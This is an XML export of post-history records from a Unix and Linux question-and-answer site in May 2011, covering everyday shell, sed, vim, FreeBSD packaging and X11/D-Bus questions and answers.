  <row Id="35226" PostHistoryTypeId="2" PostId="14078" RevisionGUID="b0a7c122-15f6-4557-b7f4-fb6097270cab" CreationDate="2011-05-31T06:18:45.483" UserId="250" Text="Look in `/proc/cpuinfo`. If you have the `aes` flag then your CPU has AES support.&#xD;&#xA;&#xD;&#xA;You can use this command:&#xD;&#xA;&#xD;&#xA;    grep aes /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;If you have some output, which will be like&#xD;&#xA;&#xD;&#xA;&gt; flags		: a bunch of flags **aes** another bunch of flags&#xD;&#xA;&#xD;&#xA;,then you have AES." />
  <row Id="35227" PostHistoryTypeId="2" PostId="14079" RevisionGUID="363bb98d-ac25-4826-b745-1dad19a04dcf" CreationDate="2011-05-31T07:02:40.607" UserId="3082" Text="Here's [the list][1]. There are 116 CPU models with that feature. With Linux, you can check by looking for the aes flag in /proc/cpuinfo. Or you can check what model you have against this list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ark.intel.com/MySearch.aspx?s=t&amp;AESTech=true" />
  <row Id="35228" PostHistoryTypeId="5" PostId="14063" RevisionGUID="85e49ae5-27df-4318-a31c-b90d5a38d7c8" CreationDate="2011-05-31T07:39:36.757" UserId="4671" Comment="Edited for clarity" Text="Suppose I have a subdirectory called `sub`. Then I want to operate on all files in that directory with the extension &quot;txt&quot;. I want something like&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt&#xD;&#xA;    do&#xD;&#xA;        enscript -b &quot;&quot; {$f basename excluding .txt}.txt -p {$f basename excluding .txt}.ps                                                                                                                                  &#xD;&#xA;        ps2pdf {$f basename excluding .txt}.ps {$f basename excluding .txt}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;So if there was just one file in the `sub` directory of the form `*.txt`, say `sub/foo.txt`, the script should expand to&#xD;&#xA;&#xD;&#xA;    enscript -b &quot;&quot; foo.txt -p foo.ps                                                                                                                                   &#xD;&#xA;    ps2pdf foo.ps foo.pdf&#xD;&#xA;&#xD;&#xA;I generally prefer portable solutions, but it is always interesting to learn about different ways of doing things. So non-portable is Ok, please just mention whether your solution is portable or non-portable. Also, the title is probably not the best possible, so feel free to modify." />
  <row Id="35229" PostHistoryTypeId="2" PostId="14080" RevisionGUID="b01697cb-6f42-41fd-87fe-5af8ae2eb355" CreationDate="2011-05-31T07:43:57.173" UserId="7910" Text="Hi gurus.&#xD;&#xA;&#xD;&#xA;I am running on FreeBSD 8.2, I have a device that will run NanoBSD 7.4. To install packages for nanobsd, you put them in /usr/src/tools/tools/nanobsd/Pkg, and uncomment the line in your config.&#xD;&#xA;&#xD;&#xA;I need to get JamVM installed on the NanoBSD, this depends on diablo-jre. When nanobsd.sh tries to install the diablo package, the log _.cust.cust_pkg is spammed with Do you accept the license [yes/no].&#xD;&#xA;&#xD;&#xA;I need to unpack the diablo package and edit +INSTALL, then repack it. How can I do this?&#xD;&#xA;&#xD;&#xA;Same question but on superuser: http://superuser.com/questions/290494/update-diablo-jre-freebsd7-i386-1-6-0-07-02-tbz-install-do-you-accept-when-ins&#xD;&#xA;&#xD;&#xA;Suggestion: Tag as nanobsd ?" />
  <row Id="35230" PostHistoryTypeId="1" PostId="14080" RevisionGUID="b01697cb-6f42-41fd-87fe-5af8ae2eb355" CreationDate="2011-05-31T07:43:57.173" UserId="7910" Text="How to change a *.tbz's +INSTALL file, and repack the package in FreeBSD, without installing the package" />
  <row Id="35231" PostHistoryTypeId="3" PostId="14080" RevisionGUID="b01697cb-6f42-41fd-87fe-5af8ae2eb355" CreationDate="2011-05-31T07:43:57.173" UserId="7910" Text="épackageömanagementàéfreebsdàéportsà" />
  <row Id="35232" PostHistoryTypeId="2" PostId="14081" RevisionGUID="8e83d366-0f5b-4063-89e3-9aae7236e5b2" CreationDate="2011-05-31T07:58:12.610" UserId="2832" Text="I want to indent multiple files which are poorly indented and indent them properly as would vim do when I type `gg=G`. &#xD;&#xA;Is there someway to enter the `=` command or its alias in the command mode? i.e after a `:`?&#xD;&#xA;If that is possible I can use the bufdo command like in [this][1] question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12523/how-to-do-a-text-replacement-in-a-big-folder-hierarchy" />
  <row Id="35233" PostHistoryTypeId="1" PostId="14081" RevisionGUID="8e83d366-0f5b-4063-89e3-9aae7236e5b2" CreationDate="2011-05-31T07:58:12.610" UserId="2832" Text="Indenting multiple files." />
  <row Id="35234" PostHistoryTypeId="3" PostId="14081" RevisionGUID="8e83d366-0f5b-4063-89e3-9aae7236e5b2" CreationDate="2011-05-31T07:58:12.610" UserId="2832" Text="évimàéindentingà" />
  <row Id="35235" PostHistoryTypeId="2" PostId="14082" RevisionGUID="fbb311d9-3194-40ef-9cba-f85fc754d4f5" CreationDate="2011-05-31T08:21:34.943" UserId="863" Text="Say `a` is a symbolic link to `b`. I search for a simple command that does not require my knowledge of `b` to remove both `b` and `a` at once." />
  <row Id="35236" PostHistoryTypeId="1" PostId="14082" RevisionGUID="fbb311d9-3194-40ef-9cba-f85fc754d4f5" CreationDate="2011-05-31T08:21:34.943" UserId="863" Text="How to remove the directory a symbolic link links to plus the symbolic link?" />
  <row Id="35237" PostHistoryTypeId="3" PostId="14082" RevisionGUID="fbb311d9-3194-40ef-9cba-f85fc754d4f5" CreationDate="2011-05-31T08:21:34.943" UserId="863" Text="ébashàésymlinkà" />
  <row Id="35238" PostHistoryTypeId="2" PostId="14083" RevisionGUID="5ec63dda-bcbf-4bbe-8f6c-f3e6685f365f" CreationDate="2011-05-31T08:22:22.163" UserId="863" Text="My current solution is&#xD;&#xA;&#xD;&#xA;    rm -rf $(readlink a) &amp;&amp; rm -rf a&#xD;&#xA;&#xD;&#xA;But maybe there's something easier?" />
  <row Id="35239" PostHistoryTypeId="5" PostId="14082" RevisionGUID="8436a23f-b6ec-487d-a2bc-2cec3d84ad50" CreationDate="2011-05-31T08:47:45.893" UserId="1925" Comment="Fixed english" Text="Say `a` is a symbolic link to `b`. I am looking for a simple command to remove both `a` and `b` at once that does not require me to know about `b`." />
  <row Id="35240" PostHistoryTypeId="5" PostId="14075" RevisionGUID="2c026a7d-a5de-4160-97da-0b56b4451485" CreationDate="2011-05-31T08:51:16.537" UserId="1925" Comment="deleted 154 characters in body" Text="I am using Gnome3 on Fedora 15.&#xD;&#xA;&#xD;&#xA;One of the good features of Gnome3 is Notifications from empathy will appear while you are watching a movie in the movie player and you can reply without changing the focus. This is working with totem movie player, but not with VLC.&#xD;&#xA;&#xD;&#xA;Actually the notification will have the top Z-index but it fails to get the top position with VLC." />
  <row Id="35241" PostHistoryTypeId="5" PostId="14077" RevisionGUID="afecca5f-a91c-433a-83f8-75e2e9fcc69e" CreationDate="2011-05-31T08:54:20.483" UserId="1925" Comment="added 59 characters in body" Text="Howcan I check if my CPU supports the [AES-NI instruction set][1] under Linux/UNIX.&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/AES_instruction_set" />
  <row Id="35242" PostHistoryTypeId="5" PostId="14074" RevisionGUID="ea64f5c8-1c38-4f52-bd9c-7197af79d122" CreationDate="2011-05-31T08:55:04.290" UserId="1925" Comment="deleted 23 characters in body" Text="I was wondering how logical volume, logical disk, volume, partition, physical disk and filesystem are related and correspond to each other?&#xD;&#xA;&#xD;&#xA;I am confused about these concepts and would like to have some general idea and big picture." />
  <row Id="35243" PostHistoryTypeId="25" PostId="14082" RevisionGUID="41dc2acd-61e2-4398-8187-221aad1dc370" CreationDate="2011-05-31T09:13:26.730" Comment="http://twitter.com/#!/StackUnix/status/75490055002660866" />
  <row Id="35244" PostHistoryTypeId="2" PostId="14084" RevisionGUID="f0b907f1-f933-40cd-b7de-1aa2de646c0c" CreationDate="2011-05-31T09:16:50.537" UserId="7756" Text="I'm trying to create a custom Debian liveCD using live-helper, but offline. It was more or less possible with apt-cdrom  (using the official DVDs to solve all the dependencies).&#xD;&#xA;&#xD;&#xA;I did `lh config` and then `lh build`, like I'm supposed to. Problem is it failed and gave me this error:&#xD;&#xA;&#xD;&#xA;    E: Failed getting release file: http://ftp.de.debian.org/debian/dists/squeeze/Release&#xD;&#xA;&#xD;&#xA;I poked around the internet and found an option about `--mirror-bootstrap` and using it to redirect to *http://localhost/debian*, but it gives the same error. I even tried fetching the *Release* file and using a local path (eg `/root/debian/dists/squeeze/Release`), but it wouldn't recognize it. I seem to need to use a URL, but I can't use a url to redirect to local hard drive.&#xD;&#xA;&#xD;&#xA;I did find this though: http://lists.debian.org/debian-live/2007/07/msg00152.html&lt;br&gt;&#xD;&#xA;I didn't find any solution there, but it's the most information I could find.&#xD;&#xA;&#xD;&#xA;I can't connect that computer to the internet, what can I do??" />
  <row Id="35245" PostHistoryTypeId="1" PostId="14084" RevisionGUID="f0b907f1-f933-40cd-b7de-1aa2de646c0c" CreationDate="2011-05-31T09:16:50.537" UserId="7756" Text="Using live-helper offline" />
  <row Id="35246" PostHistoryTypeId="3" PostId="14084" RevisionGUID="f0b907f1-f933-40cd-b7de-1aa2de646c0c" CreationDate="2011-05-31T09:16:50.537" UserId="7756" Text="édebianàélivecdà" />
  <row Id="35248" PostHistoryTypeId="2" PostId="14085" RevisionGUID="4fa12704-26cc-4da7-a5d9-67291d676c68" CreationDate="2011-05-31T09:19:08.807" UserId="7892" Text="In the process of learning to do certain things in GUI programming, e.g. like reserving space on the screen for an application, i have to learn more about the Window Manager, usually X11 on Linux (i'm not sure whether there even are distro's, which use anything else than X11, although i heard about [Wayland][1], which is not yet implemented in any.)&#xD;&#xA;&#xD;&#xA;I'm quite new to programming, and impatient; so i'm just diving into it. Now i am reading the ICCCM, with the hope to learn more. This document however aims at a public that knows (way) more than me. So i came across some information, and i would love to get some clarifications.&#xD;&#xA;&#xD;&#xA;[Section 2][3] of the ICCCM quotes:&#xD;&#xA;&#xD;&#xA;&gt; Note that all data transferred between an owner and a requestor must usually go by means of the server in an X Version 11 environment. A client cannot assume that another client can open the same files or even communicate directly. The other client may be talking to the server by means of a completely different networking mechanism (for example, one client might be DECnet and the other TCP/IP). Thus, passing indirect references to data (such as file names, host names and port numbers, and so on) is permitted only if both clients specifically agree.&#xD;&#xA;&#xD;&#xA;As far as i understand, X Window Manager is built on Top of X Server (thanks Wikipedia). In the quote above: it says the client can communicate with the server using DECnet or TCP/IP. So far i thought that &quot;server&quot; was a figure of speech, now i am doubting: **is X server a server as in a &quot;web server&quot;? How should i understand its function/definition?**&#xD;&#xA;&#xD;&#xA;Then, there often are references to X11, Xorg, X Server and/or X Window Manager. It gets confusing: **is X11 a bundle including Xorg and X Window Manager? If so, is there anything else in this X11 bundle?**&#xD;&#xA;&#xD;&#xA;X also needs mouse or keyboard or any other kind of input: **is this part of X Server's functions too? Is X Window Manager strictly looking after the display only?** &#xD;&#xA;&#xD;&#xA;Finally, the quote here above also mentions client communicating or not with each other: this reminded me of Dbus, which i've used a bit for learning purposes. With Dbus you can also trigger window events. That gets me a bit confused as to how programs should communicate with one another: **what difference is there between programs interacting using X Server or using Dbus?**&#xD;&#xA;&#xD;&#xA;It's a shame this information remains somehow obscure, it makes it harder to learn, but hopefully you can bring some light on this : ) Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://wayland.freedesktop.org/&#xD;&#xA;  [3]: http://tronche.com/gui/x/icccm/sec-2.html" />
  <row Id="35249" PostHistoryTypeId="1" PostId="14085" RevisionGUID="4fa12704-26cc-4da7-a5d9-67291d676c68" CreationDate="2011-05-31T09:19:08.807" UserId="7892" Text="X, Xorg and Dbus: what is the difference?" />
  <row Id="35250" PostHistoryTypeId="3" PostId="14085" RevisionGUID="4fa12704-26cc-4da7-a5d9-67291d676c68" CreationDate="2011-05-31T09:19:08.807" UserId="7892" Text="éxorgàéx11àéwindowömanageràédbusà" />
  <row Id="35251" PostHistoryTypeId="2" PostId="14086" RevisionGUID="2f171c30-919c-49b2-bfc1-fb50b0847427" CreationDate="2011-05-31T09:21:58.143" UserId="3780" Text="Not sure how to do it with vim, but should be possible.&#xD;&#xA;&#xD;&#xA;You may also try the command &quot;indent&quot;, it should do what you want, although not with the indentation you have configured in vim.&#xD;&#xA;" />
  <row Id="35252" PostHistoryTypeId="2" PostId="14087" RevisionGUID="8e5204a7-9036-42f9-bdd1-184e211d4ea9" CreationDate="2011-05-31T09:29:02.473" UserId="1835" Text="You are asking five questions here, and might be better asking five questions ☺ But I'll jump in:&#xD;&#xA;&#xD;&#xA;1. X is a server and can be compared to a &quot;web server&quot; in that it is a process that listens for incoming connections that speak a particular protocol (the X protocol) and it issues answers.  The connections come from X clients, which may be on the local host or on a remote host accessed over a network.&#xD;&#xA;&#xD;&#xA;2. X11 is a &quot;major version&quot; of the X protocol, which has evolved since inception.  X11 is the most recent protocol and the most common.  (Xorg is an implementation of an X server, X libraries and a collection of clients, all talking X11.  There are other implementations: the largely defunct XFree86; commercial ones such as Hummingbird Exceed; forks such as whatever Apple provide)&#xD;&#xA;&#xD;&#xA;2. A &quot;window manager&quot; is an X client which manages windows.  It typically has the responsibility to decorate windows with bevels/borders, drop shadows, a menu bar containing buttons, etc. -- and handle the logic of window placement; support windows being dragged, resized or re-arranged, etc.&#xD;&#xA;&#xD;&#xA;3. X requires input and it has a shared responsibility to manage that with the Kernel.  Historically, X did a lot of hardware management itself.  In modern times, on the Linux platform,  X is gradually becoming &quot;smaller&quot; and delegating this responsibility to the Linux kernel.  The advantages of this are: smaller X codebase; fewer &quot;crossed-wires&quot; with the kernel and X both trying to manage the same stuff. (an example of this is the Linux event interface, where events from mice etc. are interpreted and translated by the kernel and its drivers into the standard interface at `/dev/input/event*`, which is consumed by the X server).  Note that on other platforms (BSD, Solaris) X is still quite monolithic.&#xD;&#xA;&#xD;&#xA;4. There are many, many ways for processes to communicate with each other.  I believe X clients can interact by way of the X protocol (for example, traditional X window managers need to know when other clients draw windows, in order to decorate them; pagers need to know when a window's size or position changes, in order to reflect that in the pager).  D-Bus is a modern inter-process communication (IPC) technology developed to address the shortcomings of other methods.  It is not X specific." />
  <row Id="35253" PostHistoryTypeId="6" PostId="14082" RevisionGUID="4e3265cb-cc0e-479f-9625-1fd232ee5b11" CreationDate="2011-05-31T10:03:42.990" UserId="885" Comment="edited tags" Text="éshellàésymlinkàérmà" />
  <row Id="35254" PostHistoryTypeId="2" PostId="14088" RevisionGUID="2d5789f8-89f7-450c-a5ab-606932798807" CreationDate="2011-05-31T10:06:41.660" UserId="885" Text="You can run any normal command with `:normal`, e.g. `:normal =G`.&#xD;&#xA;&#xD;&#xA;If the files are C source code, it may be easier to use the external program [`indent`](http://www.gnu.org/software/indent/).&#xD;&#xA;" />
  <row Id="35255" PostHistoryTypeId="5" PostId="14080" RevisionGUID="cc88d22e-b75e-4bce-ae61-fb93658d61ef" CreationDate="2011-05-31T10:08:33.233" UserId="885" Comment="formatting; tags" Text="I am running on FreeBSD 8.2, I have a device that will run NanoBSD 7.4. To install packages for nanobsd, you put them in `/usr/src/tools/tools/nanobsd/Pkg`, and uncomment the line in your config.&#xD;&#xA;&#xD;&#xA;I need to get JamVM installed on the NanoBSD, this depends on `diablo-jre`. When `nanobsd.sh` tries to install the diablo package, the log `_.cust.cust_pkg` is spammed with `Do you accept the license [yes/no]`.&#xD;&#xA;&#xD;&#xA;I need to unpack the diablo package and edit `+INSTALL`, then repack it. How can I do this?&#xD;&#xA;&#xD;&#xA;Same question but on superuser: http://superuser.com/questions/290494/update-diablo-jre-freebsd7-i386-1-6-0-07-02-tbz-install-do-you-accept-when-ins&#xD;&#xA;" />
  <row Id="35256" PostHistoryTypeId="6" PostId="14080" RevisionGUID="cc88d22e-b75e-4bce-ae61-fb93658d61ef" CreationDate="2011-05-31T10:08:33.233" UserId="885" Comment="formatting; tags" Text="épackageömanagementàéfreebsdàéportsàénanobsdà" />
  <row Id="35257" PostHistoryTypeId="5" PostId="14069" RevisionGUID="3ba6efe3-2520-4a2f-8f3f-606b0210c598" CreationDate="2011-05-31T10:12:17.800" UserId="885" Comment="strip directory part as well" Text="[The portable way is to strip the extension with `${f%.*}`](http://unix.stackexchange.com/questions/14063/returning-strings-corresponding-to-shell-glob-matching/14064#14064).&#xD;&#xA;&#xD;&#xA;In zsh, you can apply [various transformations](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers) to [glob patterns](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Filename-Generation), including [history modifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Modifiers) such as `r` to strip one extension and `t` to strip the directory part.&#xD;&#xA;&#xD;&#xA;    for x in sub/*.txt(:r:t); do&#xD;&#xA;        enscript -b &quot;&quot; $x.txt -p $x.ps&#xD;&#xA;        ps2pdf $x.ps $x.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35258" PostHistoryTypeId="6" PostId="14077" RevisionGUID="08c41674-0cce-482c-8e67-d6069a49380a" CreationDate="2011-05-31T10:13:29.217" UserId="885" Comment="edited tags" Text="élinuxàécpuà" />
  <row Id="35259" PostHistoryTypeId="6" PostId="14072" RevisionGUID="26df0c90-e1c4-422c-a898-f863bc62c3c7" CreationDate="2011-05-31T10:15:08.810" UserId="885" Comment="edited tags" Text="écommandölineàémailàémailöuseröagentà" />
  <row Id="35260" PostHistoryTypeId="2" PostId="14089" RevisionGUID="2d4054bc-4d3a-49d2-b268-15cf62ad2b55" CreationDate="2011-05-31T10:23:18.467" UserId="3886" Text="Unpack .tbz with `tar xf` to empty directory, edit `+INSTALL` and pack it again with `tar cjf ../new_package.tbz *`. FreeBSD's binary package is just bzipped tar archive, nothing special." />
  <row Id="35261" PostHistoryTypeId="2" PostId="14090" RevisionGUID="c6e0e8fb-85b3-43e4-aa44-4c994068c62e" CreationDate="2011-05-31T10:30:14.063" UserId="7431" Text="I'm using compiz and the grid plugin with 2 24&quot; widescreen monitors to work emulating a tiling wm workflow. I have a dark wallpaper and use lilyterm for transparency. Most of my work is entirely constrained to a terminal, but of-course I like to have a browser open often (browsers and other desktop gui apps obviously don't support transparency). &#xD;&#xA;&#xD;&#xA;I want to make sure that only applications at the foreground are visually present in their tiling locations, and any other applications behind them don't count till they are activated.&#xD;&#xA;&#xD;&#xA;Is this possible with compiz ? or any other workaround for it ? " />
  <row Id="35262" PostHistoryTypeId="1" PostId="14090" RevisionGUID="c6e0e8fb-85b3-43e4-aa44-4c994068c62e" CreationDate="2011-05-31T10:30:14.063" UserId="7431" Text="Compiz - making sure windows do not overlap." />
  <row Id="35263" PostHistoryTypeId="3" PostId="14090" RevisionGUID="c6e0e8fb-85b3-43e4-aa44-4c994068c62e" CreationDate="2011-05-31T10:30:14.063" UserId="7431" Text="écompizàétilingöwmà" />
  <row Id="35267" PostHistoryTypeId="2" PostId="14092" RevisionGUID="839d950e-cf99-46cf-8447-6607bb220619" CreationDate="2011-05-31T10:49:43.587" UserId="7913" Text="Hi, I am porting a Visual Studio C++ project to Linux, and would like to find all lines in all .h and .cpp files that start with #include and in any of those lines would like to replace the backslash with the forward slash.&#xD;&#xA;&#xD;&#xA;There are a few scripts on how to do a search and replace online (using perl or sed for example), but none with a condition.&#xD;&#xA;&#xD;&#xA;What's the best way?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="35268" PostHistoryTypeId="1" PostId="14092" RevisionGUID="839d950e-cf99-46cf-8447-6607bb220619" CreationDate="2011-05-31T10:49:43.587" UserId="7913" Text="Search and replace in multiple files based on condition" />
  <row Id="35269" PostHistoryTypeId="3" PostId="14092" RevisionGUID="839d950e-cf99-46cf-8447-6607bb220619" CreationDate="2011-05-31T10:49:43.587" UserId="7913" Text="éscriptingàésearchàéreplaceà" />
  <row Id="35270" PostHistoryTypeId="5" PostId="14083" RevisionGUID="02ca95f8-fb7b-4200-a7f4-bcf2c02a14dc" CreationDate="2011-05-31T11:10:44.387" UserId="863" Comment="thanks gilles" Text="My current solution is&#xD;&#xA;&#xD;&#xA;    rm -f &quot;$(readlink -f &quot;a&quot;)&quot;; rm -rf &quot;a&quot;&#xD;&#xA;&#xD;&#xA;But maybe there's something easier?" />
  <row Id="35271" PostHistoryTypeId="2" PostId="14093" RevisionGUID="24057494-317a-4f05-96e1-7ff6a11c6faf" CreationDate="2011-05-31T11:21:55.970" UserId="7914" Text="I would like to disable automatic wifi negotiation on my 1000HE eeepc. WiFi Chipset is a ralink2860sta. I am using the non-free module and everything is working as intended except it tends to pick up first available access point everytime I boot up. I have various ways to configure wlan0 in /etc/network/interfaces but whatever I set up I would like to prevent negotiation or essid setting up." />
  <row Id="35272" PostHistoryTypeId="1" PostId="14093" RevisionGUID="24057494-317a-4f05-96e1-7ff6a11c6faf" CreationDate="2011-05-31T11:21:55.970" UserId="7914" Text="How to disable wifi autonegotiation on debian6.0" />
  <row Id="35273" PostHistoryTypeId="3" PostId="14093" RevisionGUID="24057494-317a-4f05-96e1-7ff6a11c6faf" CreationDate="2011-05-31T11:21:55.970" UserId="7914" Text="édebianàéwifià" />
  <row Id="35274" PostHistoryTypeId="2" PostId="14094" RevisionGUID="02faddc4-be87-408a-b937-b73bbdab065c" CreationDate="2011-05-31T11:29:43.353" UserId="131" Text="I am migrating my blog, and all the posts have metadata at the top of the file. As a result I have a group of nearly 100 files in a directory where I want to do a search and replace for:&#xD;&#xA;&#xD;&#xA;    ^permalink: http://blog.olddomain.com/(.*)$&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    permalink: http://blog.newdomain.com/$1&#xD;&#xA;&#xD;&#xA;in all 100 files.&#xD;&#xA;&#xD;&#xA;What commands would I use to do this?" />
  <row Id="35275" PostHistoryTypeId="1" PostId="14094" RevisionGUID="02faddc4-be87-408a-b937-b73bbdab065c" CreationDate="2011-05-31T11:29:43.353" UserId="131" Text="Search and replace text within multiple files." />
  <row Id="35276" PostHistoryTypeId="3" PostId="14094" RevisionGUID="02faddc4-be87-408a-b937-b73bbdab065c" CreationDate="2011-05-31T11:29:43.353" UserId="131" Text="étextöprocessingà" />
  <row Id="35277" PostHistoryTypeId="2" PostId="14095" RevisionGUID="328b2b68-0e2b-4fce-a0aa-9ba2dbb66258" CreationDate="2011-05-31T11:41:01.370" UserId="885" Text="In sed, you can put a regexp (between `/…/`) before the `s` command to only perform the replacement on lines containing that regexp. The `-i` option to modify files in place is specific to GNU sed (which is what you have on Linux and Cygwin).&#xD;&#xA;&#xD;&#xA;    sed -i -e '/^ *# *include/ s!\\\\!/!g' **/*.h **/*.cpp&#xD;&#xA;&#xD;&#xA;In Perl, just put a conditional before doing the replacement.&#xD;&#xA;&#xD;&#xA;    perl -i -pe 'if (/^\s*#\s*include/) {s!\\\\!/!g}' **/*.h **/*.cpp&#xD;&#xA;    perl -i -pe '/^\s*#\s*include/ and s!\\\\!/!g' **/*.h **/*.cpp&#xD;&#xA;&#xD;&#xA;The `**/` syntax to match files in the current directory and its subdirectories recursively requires zsh, or bash ≥4 after doing `shopt -s globstar`. With other shells, you need to use find.&#xD;&#xA;&#xD;&#xA;    find \( -name '*.h' -o -name '*.cpp' \) -exec perl -i -pe '…' {} +&#xD;&#xA;" />
  <row Id="35278" PostHistoryTypeId="2" PostId="14096" RevisionGUID="70b9d8d4-651d-480c-a612-e63dbf60c524" CreationDate="2011-05-31T11:41:14.320" UserId="4750" Text="`sed`.&#xD;&#xA;&#xD;&#xA;    sed -i 's|^\(permalink: http://blog\.\)olddomain\(\.com/.*\)$|\1newdomain\2|g' &lt;shell-glob-pattern&gt;&#xD;&#xA;&#xD;&#xA;`sed` is often used to pipe stuff through it, but it can process files just as well and, with the `-i` option, can even change them in place." />
  <row Id="35279" PostHistoryTypeId="6" PostId="14092" RevisionGUID="44088f86-b46e-4179-8ae1-e35142b8b041" CreationDate="2011-05-31T11:41:28.203" UserId="885" Comment="edited tags" Text="étextöprocessingà" />
  <row Id="35281" PostHistoryTypeId="5" PostId="14096" RevisionGUID="3ab4a2a5-3060-4c35-a03e-9dcc6b34a632" CreationDate="2011-05-31T11:48:56.773" UserId="4750" Comment="reword for better readability" Text="`sed` is often used to pipe something through it, but it can process files just as well and, with the `-i` option, can even change them in place.&#xD;&#xA;&#xD;&#xA;    sed -i 's|^\(permalink: http://blog\.\)olddomain\(\.com/.*\)$|\1newdomain\2|g' &lt;shell-glob-pattern&gt;" />
  <row Id="35282" PostHistoryTypeId="5" PostId="14063" RevisionGUID="7e4eb5e4-95fb-4f6e-9e0b-8c36228574c7" CreationDate="2011-05-31T12:06:47.407" UserId="4671" Comment="Fix enscript invocation" Text="Suppose I have a subdirectory called `sub`. Then I want to operate on all files in that directory with the extension &quot;txt&quot;. I want something like&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt&#xD;&#xA;    do&#xD;&#xA;        enscript -b &quot;&quot; -o {$f basename excluding .txt}.ps sub/{$f basename excluding .txt}.txt                                                                                                                             &#xD;&#xA;        ps2pdf {$f basename excluding .txt}.ps {$f basename excluding .txt}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;So if there was just one file in the `sub` directory of the form `*.txt`, say `sub/foo.txt`, the script should expand to&#xD;&#xA;&#xD;&#xA;    enscript -b &quot;&quot; -o foo.ps sub/foo.txt                                                                                                                                   &#xD;&#xA;    ps2pdf foo.ps foo.pdf&#xD;&#xA;&#xD;&#xA;I generally prefer portable solutions, but it is always interesting to learn about different ways of doing things. So non-portable is Ok, please just mention whether your solution is portable or non-portable. Also, the title is probably not the best possible, so feel free to modify.&#xD;&#xA;&#xD;&#xA;EDIT: I realized the example as written did not quite make sense, since `foo.txt` was in the `sub` directory, and therefore `sub/foo.txt` would need to be passed to `enscript`. I also changed the -p `enscript` option to the more standard `-o` option." />
  <row Id="35283" PostHistoryTypeId="25" PostId="14094" RevisionGUID="03448df4-407f-4139-a8a2-4192cc450e48" CreationDate="2011-05-31T12:13:26.380" Comment="http://twitter.com/#!/StackUnix/status/75535352865103872" />
  <row Id="35284" PostHistoryTypeId="2" PostId="14097" RevisionGUID="7571b7df-3a12-4ac9-8c4d-548e01a0ca61" CreationDate="2011-05-31T12:59:35.360" UserId="2594" Text="Perhaps can you solve this by making your service dependent of another service not yet enabled." />
  <row Id="35285" PostHistoryTypeId="2" PostId="14098" RevisionGUID="4f3374fa-1a96-467a-ac1a-e22f3e62093d" CreationDate="2011-05-31T14:14:09.660" UserId="7919" Text="Most applications need to be modified by their developers to play nicely with the new GNOME Shell messaging and notifications paradigm.  Some applications have been modified, most have not." />
  <row Id="35286" PostHistoryTypeId="5" PostId="14085" RevisionGUID="9bc95b04-34cf-40ef-999b-589b670964ee" CreationDate="2011-05-31T14:52:58.957" UserId="688" Comment="edited body; edited title" Text="In the process of learning to do certain things in GUI programming (e.g., reserving space on the screen for an application), I have to learn more about the Window Manager, usually X11 on Linux (I'm not sure whether there even are distro's, which use anything else than X11, although I heard about [Wayland][1], which is not yet implemented in any.)&#xD;&#xA;&#xD;&#xA;I'm quite new to programming, and impatient; so I'm just diving into it. Now I am reading the ICCCM, with the hope to learn more. This document however aims at a public that knows (way) more than me. So I came across some information, and I would love to get some clarifications.&#xD;&#xA;&#xD;&#xA;[Section 2][3] of the ICCCM quotes: &#xD;&#xA;&#xD;&#xA;&gt; Note that all data transferred between an owner and a requestor must usually go by means of the server in a X Version 11 environment. A client cannot assume that another client can open the same files or even communicate directly. The other client may be talking to the server by means of a completely different networking mechanism (for example, one client might be DECnet and the other TCP/IP). Thus, passing indirect references to data (such as file names, host names and port numbers, and so on) is permitted only if both clients specifically agree.&#xD;&#xA;&#xD;&#xA;As far as I understand, X Window Manager is built on Top of X Server (thanks Wikipedia). In the quote above: it says the client can communicate with the server using DECnet or TCP/IP. So far I thought that &quot;server&quot; was a figure of speech, now I am doubting: **is X server a server as in a &quot;web server&quot;? How should I understand its function/definition?**&#xD;&#xA;&#xD;&#xA;Then, there often are references to X11, Xorg, X Server and/or X Window Manager. It gets confusing: **is X11 a bundle including Xorg and X Window Manager? If so, is there anything else in this X11 bundle?**&#xD;&#xA;&#xD;&#xA;X also needs mouse or keyboard or any other kind of input: **is this part of X Server's functions too? Is X Window Manager strictly looking after the display only?** &#xD;&#xA;&#xD;&#xA;Finally, the quote here above also mentions client communicating or not with each other: this reminded me of D-Bus, which I've used a bit for learning purposes. With D-Bus you can also trigger window events. That gets me a bit confused as to how programs should communicate with one another: **what difference is there between programs interacting using X Server or using D-Bus? **&#xD;&#xA;&#xD;&#xA;It's a shame this information remains somehow obscure, it makes it harder to learn, but hopefully you can bring some light on this :) Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://wayland.freedesktop.org/&#xD;&#xA;  [3]: http://tronche.com/gui/x/icccm/sec-2.html" />
  <row Id="35287" PostHistoryTypeId="4" PostId="14085" RevisionGUID="9bc95b04-34cf-40ef-999b-589b670964ee" CreationDate="2011-05-31T14:52:58.957" UserId="688" Comment="edited body; edited title" Text="X, Xorg and D-Bus: what is the difference?" />
  <row Id="35288" PostHistoryTypeId="17" PostId="14099" RevisionGUID="a3e02608-db4b-4c83-8570-2c60afe00d5a" CreationDate="2011-05-31T14:57:42.900" UserId="-1" Comment="from http://stackoverflow.com/questions/6146026/making-a-duplicate-of-a-path-in-unix" Text="" />
  <row Id="35289" PostHistoryTypeId="17" PostId="14100" RevisionGUID="867f225a-fe33-4650-9887-8b45a6a1e514" CreationDate="2011-05-31T14:57:42.900" UserId="-1" Comment="from http://stackoverflow.com/questions/6146026/making-a-duplicate-of-a-path-in-unix" Text="" />
